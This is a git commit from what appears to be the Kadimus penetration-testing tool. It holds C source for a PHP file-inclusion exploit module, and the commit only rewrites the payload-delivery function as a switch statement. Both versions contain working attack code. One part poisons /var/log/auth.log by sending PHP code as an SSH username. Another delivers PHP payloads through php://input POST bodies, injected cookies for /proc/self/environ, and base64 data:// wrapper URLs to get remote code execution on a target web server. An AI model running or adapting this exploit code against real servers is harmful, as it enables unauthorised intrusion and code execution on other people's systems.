<commit_before>#include "kadimus_xpl.h"

void build_rce_exploit(CURL *curl, const char *base_uri,
    struct parameter_list *plist, size_t pos, rce_type tech,
    const char *php_code);

char *build_datawrap_url(const char *base, struct parameter_list *plist,
    int p, const char *phpcode);

bool check_auth_poison(const char *target){
    char *php_code=NULL, r_str[R_SIZE], regex[VULN_SIZE],
    random_file[20], *mmap_str=NULL;
    int size_file, fd;
    bool ret = false;
    CURL *curl=NULL;
    FILE *x=NULL;

    if( (x = get_random_file(10, random_file)) == NULL)
        die("error while generate tmp file",0);

    curl = init_curl(NULL, false);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)x);
    curl_easy_setopt(curl, CURLOPT_URL, target);

    gen_random(r_str, R_SIZE-1);
    build_regex(regex, r_str, "Vulnerable");
    php_code = make_code(r_str, "<?php echo \"Vulnerable\"; ?>", true);

    build_rce_exploit(curl, NULL, NULL, 0, AUTH, php_code);

    if(HttpRequest(curl)){
        fflush(x);
        fclose(x);

        fd = readonly(random_file);

        size_file = get_file_size(fd);
        if(size_file){
            mmap_str = (char *) mmap(0, size_file, PROT_READ, MAP_PRIVATE, fd, 0);

            if( !regex_match(AUTH_LOG_REGEX, mmap_str, size_file, PCRE_MULTILINE) )
                die("[-] be sure the file is /var/log/auth.log",0);

            if( regex_match(regex, mmap_str, size_file, 0) )
                ret = true;
        }
        close(fd);
    } else {
        die("[-] without connection",0);
    }

    curl_easy_cleanup(curl);
    xfree(php_code);

    unlink(random_file);
    return ret;

}

bool ssh_log_poison(const char *target, int port){
    ssh_session ssh_id;
    bool ret = false;

    ssh_id = ssh_new();

    if(ssh_id == NULL)
        return ret;

    ssh_options_set(ssh_id, SSH_OPTIONS_HOST, target);

    if(port)
        ssh_options_set(ssh_id, SSH_OPTIONS_PORT, &port);

    if(ssh_connect(ssh_id) != SSH_OK){
        printf("[-] failed to connect: %s\n", ssh_get_error(ssh_id));
    } else {
        if( ssh_userauth_password(ssh_id, <PASSWORD>, "<PASSWORD>") == SSH_AUTH_ERROR )
            printf("[-] failed to send exploit\n");
        else
            ret = true;

        ssh_disconnect(ssh_id);
    }

    ssh_free(ssh_id);
    return ret;
}


void build_rce_exploit(CURL *curl, const char *base,
    struct parameter_list *plist, size_t pos, rce_type tech,
    const char *php_code){
    char *cookie_v = NULL;
    char *data_wrap_uri = NULL;

    if(tech == INPUT){

        curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(php_code));
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, php_code);

    } else if(tech == ENVIRON){

        if(!cookies){
            curl_easy_setopt(curl, CURLOPT_COOKIE, php_code);
        }

        else {
            cookie_v = cookie_append(cookies, php_code);
            curl_easy_setopt(curl, CURLOPT_COOKIE, cookie_v);
            xfree(cookie_v);
        }

    } else if(tech == DATA){

        data_wrap_uri = build_datawrap_url(base, plist, pos, php_code);
        curl_easy_setopt(curl, CURLOPT_URL, data_wrap_uri);
        free(data_wrap_uri);

    } else if(tech == AUTH){
        curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(php_code));
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, php_code);
    }
}

char *build_datawrap_url(const char *base, struct parameter_list *plist, int p, const char *phpcode){
    char *b64, *xpl, *ret;
    size_t b64_len;

    b64 = b64encode(phpcode, strlen(phpcode));
    b64_len = strlen(b64);

    xpl = xmalloc(b64_len + DATAWRAPLEN + 1);

    memcpy(xpl, DATA_WRAP, DATAWRAPLEN);
    memcpy(xpl+DATAWRAPLEN, b64, b64_len);
    xpl[b64_len+DATAWRAPLEN] = 0x0;

    ret = build_url(base, plist, p, xpl, replace_string);

    free(b64);
    free(xpl);
    return ret;
}<commit_msg>update build_rce_exploit function<commit_after>#include "kadimus_xpl.h"

void build_rce_exploit(CURL *curl, const char *base_uri,
    struct parameter_list *plist, size_t pos, rce_type tech,
    const char *php_code);

char *build_datawrap_url(const char *base, struct parameter_list *plist,
    int p, const char *phpcode);

bool check_auth_poison(const char *target){
    char *php_code=NULL, r_str[R_SIZE], regex[VULN_SIZE],
    random_file[20], *mmap_str=NULL;
    int size_file, fd;
    bool ret = false;
    CURL *curl=NULL;
    FILE *x=NULL;

    if( (x = get_random_file(10, random_file)) == NULL)
        die("error while generate tmp file",0);

    curl = init_curl(NULL, false);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)x);
    curl_easy_setopt(curl, CURLOPT_URL, target);

    gen_random(r_str, R_SIZE-1);
    build_regex(regex, r_str, "Vulnerable");
    php_code = make_code(r_str, "<?php echo \"Vulnerable\"; ?>", true);

    build_rce_exploit(curl, NULL, NULL, 0, AUTH, php_code);

    if(HttpRequest(curl)){
        fflush(x);
        fclose(x);

        fd = readonly(random_file);

        size_file = get_file_size(fd);
        if(size_file){
            mmap_str = (char *) mmap(0, size_file, PROT_READ, MAP_PRIVATE, fd, 0);

            if( !regex_match(AUTH_LOG_REGEX, mmap_str, size_file, PCRE_MULTILINE) )
                die("[-] be sure the file is /var/log/auth.log",0);

            if( regex_match(regex, mmap_str, size_file, 0) )
                ret = true;
        }
        close(fd);
    } else {
        die("[-] without connection",0);
    }

    curl_easy_cleanup(curl);
    xfree(php_code);

    unlink(random_file);
    return ret;

}

bool ssh_log_poison(const char *target, int port){
    ssh_session ssh_id;
    bool ret = false;

    ssh_id = ssh_new();

    if(ssh_id == NULL)
        return ret;

    ssh_options_set(ssh_id, SSH_OPTIONS_HOST, target);

    if(port)
        ssh_options_set(ssh_id, SSH_OPTIONS_PORT, &port);

    if(ssh_connect(ssh_id) != SSH_OK){
        printf("[-] failed to connect: %s\n", ssh_get_error(ssh_id));
    } else {
        if( ssh_userauth_password(ssh_id, <PASSWORD>, "<PASSWORD>") == SSH_AUTH_ERROR )
            printf("[-] failed to send exploit\n");
        else
            ret = true;

        ssh_disconnect(ssh_id);
    }

    ssh_free(ssh_id);
    return ret;
}


void build_rce_exploit(CURL *curl, const char *base,
    struct parameter_list *plist, size_t pos, rce_type tech,
    const char *phpcode){
    char *cookieptr;
    char *data_wrap_uri;

    switch(tech){
        case INPUT:
        case AUTH:
            curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(phpcode));
            curl_easy_setopt(curl, CURLOPT_POSTFIELDS, phpcode);
        break;

        case ENVIRON:
            if(cookies){
                cookieptr = cookie_append(cookies, phpcode);
                curl_easy_setopt(curl, CURLOPT_COOKIE, cookieptr);
                free(cookieptr);
            } else {
                curl_easy_setopt(curl, CURLOPT_COOKIE, phpcode);
            }
        break;

        case DATA:
            data_wrap_uri = build_datawrap_url(base, plist, pos, phpcode);
            curl_easy_setopt(curl, CURLOPT_URL, data_wrap_uri);
            free(data_wrap_uri);
        break;
    }
}

char *build_datawrap_url(const char *base, struct parameter_list *plist, int p, const char *phpcode){
    char *b64, *xpl, *ret;
    size_t b64_len;

    b64 = b64encode(phpcode, strlen(phpcode));
    b64_len = strlen(b64);

    xpl = xmalloc(b64_len + DATAWRAPLEN + 1);

    memcpy(xpl, DATA_WRAP, DATAWRAPLEN);
    memcpy(xpl+DATAWRAPLEN, b64, b64_len);
    xpl[b64_len+DATAWRAPLEN] = 0x0;

    ret = build_url(base, plist, p, xpl, replace_string);

    free(b64);
    free(xpl);
    return ret;
}
{'fraction_non_alphanumeric': 0.12181155648099948, 'fraction_numerical': 0.009630400832899531, 'mean_word_length': 2.8618090452261304, 'pattern_counts': {'":': 0, '<': 9, '<?xml version=': 0, '>': 9, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '7104249', 'n_tokens_mistral': 3032, 'n_tokens_neox': 2767, 'n_words': 581}